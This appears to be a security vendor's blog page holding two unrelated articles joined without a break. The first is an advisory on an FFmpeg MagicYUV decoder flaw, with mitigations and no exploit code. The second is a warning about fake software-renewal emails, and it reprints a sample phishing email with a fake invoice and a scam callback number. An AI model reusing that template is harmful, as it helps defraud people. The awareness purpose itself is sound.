Researchers have disclosed PixelSmash, a critical vulnerability tracked as CVE-2026-8461, in FFmpeg’s MagicYUV video decoder with a CVSS score of 8.8.

By crafting a specially formatted AVI, MKV, or MOV file, an attacker can crash or potentially execute code on any system that tries to generate a thumbnail, extract metadata, or play the file with a vulnerable version of FFmpeg.

What is FFmpeg and is this serious?

FFmpeg is an open‑source toolkit for recording, converting, and streaming audio and video, and its libavcodec library implements hundreds of audio and video decoders.

One of those is MagicYUV, a lossless codec popular in video editing workflows and, crucially, enabled by default in upstream FFmpeg and all the Linux distribution packages the researchers tested up to FFmpeg 9.0.

The impact is more serious than you may think. If you run anything that touches video—from a Linux desktop to a Jellyfin or Nextcloud server, or even an AI model that ingests clips—you probably rely on FFmpeg under the hood.

It’s hard to put an exact number on how many systems are affected, but it helps to know that:

• Tens of millions of Linux systems rely on ffmpegthumbnailer and system libavcodec for thumbnails, meaning “just browsing a folder” can trigger the bug if a malicious file is present.
• Jellyfin and Nextcloud, among the most popular self‑hosted media and file platforms globally, each have at least tens of thousands of active internet‑reachable servers. Almost all of those that did not update FFmpeg or disable MagicYUV are vulnerable to denial of service (DoS) and, in some configurations, targeted remote code execution (RCE) attacks.
• A large fraction of consumer network attached storage (NAS) and smart TV platforms use FFmpeg for previews and thumbnails. These devices are sold in the millions.

The most worrying part of PixelSmash is how little it takes to trigger it. All you need is an application that uses FFmpeg to process untrusted media and has the MagicYUV decoder compiled in.

PixelSmash is a good illustration of a broader problem in the open‑source ecosystem: a bug in a deep dependency that silently propagates everywhere.

How to protect yourself

This vulnerability is not something most home users need to worry about. It needs to be taken care of upstream. Users of affected Linux distributions should keep an eye out for FFmpeg updates or security updates from their distro.

But if you’re responsible for systems that handle video, you should assume you are affected until you prove otherwise. The main mitigation steps are:

• Update FFmpeg. FFmpeg version 8.1.2, released on June 17, 2026, includes a fix for CVE‑2026‑8461. If your distribution or vendor provides an updated FFmpeg, install it across desktops, servers, and containers.
• Check if MagicYUV is enabled and disable it or apply patches where possible.
• Reduce automatic processing of untrusted video. Review which preview providers and thumbnailers are enabled, especially for rarely used formats.

Finally, it is worth watching for abnormal crashes of media players, thumbnailers, or media servers, especially after opening or downloading a new video file. You should treat repeated crashes or missing thumbnails as potential indicators of malicious content until systems are patched.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

You’re more likely to trust the message if you’re already a customer of the company mentioned in the email. That’s what the scammers are counting on.

So we want to make people aware that these scams are becoming increasingly common, and explain how to spot them.

Software renewal scams (including fake Malwarebytes “renewal” emails and calendar invites) are a specific, very active form of phishing and tech support fraud that contribute to millions of dollars in losses every year.

What to look out for

The template is easy enough to recognize once you know how to spot the signs:

• The sender’s email address doesn’t belong to the company the sender claims to represent. Often the messages come from compromised accounts or from lookalike domains designed to appear legitimate. Always check the sender’s email address carefully.
• The emails will often include lots of official-looking (but made-up) details and reference numbers, along with a charge large enough to provoke concern. The amount is typically several hundred dollars, but it can be much higher.
• The message usually ends with a phone number to call or a link where you can supposedly dispute the charge. The wording and amounts vary from scam to scam. The phone numbers change too, often using local-looking numbers or hosted voice services to appear more trustworthy. Below is one example we saw that uses a callback lure, encouraging the target to call a phone number and engage with a tech support scam:

Subject: Account Maintenance Update

From: <redacted sender name> <redacted-email@example.com>

---

Your order for Malwarebytes Ultimate Protection has been confirmed. The total amount of $276.50 USD has been successfully charged.

Invoice Details:

Invoice #: INV‑ZIDNQCWSMO
Product: Ultimate Security Pack
License Term: 3 Years
Seats: 3 Devices
Subtotal: $276.50 USD
Tax: $0.00 USD
Grand Total: $276.50 USD
Activation Code: 8fd14ea8‑4014‑4430‑ba19‑313554098112

Your license is now active and will renew automatically.

For billing inquiries, reach us at +1 (810) 210‑5434.

• Other fake renewal notices may pretend to come from PayPal or other payment providers and direct you to a website where you’re asked to log in. These are phishing emails trying to steal your banking credentials.

How to stay safe

If you receive a subscription renewal communication claiming to be from us, our Help Center article explains how our legitimate renewal notices work and how to verify they’re genuine.

In general:

• Do not click links or call phone numbers in unsolicited emails.
• When in doubt, check the origin of the email by going directly to the company’s official website and ask about it through official channels. Don’t follow sponsored search results to get there, as these can be scams.
• Do not give out personal details, pins, passwords, payment information, or verification codes during an unsolicited call. Legitimate companies will not ask for passwords or verification codes over the phone.
• Never allow a stranger to take over your computer remotely. It allows scammers to quickly search your computer for valuable information.

Pro tip: Malwarebytes Scam Guard can help you determine whether an email is a scam and advise you on the next steps.

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free →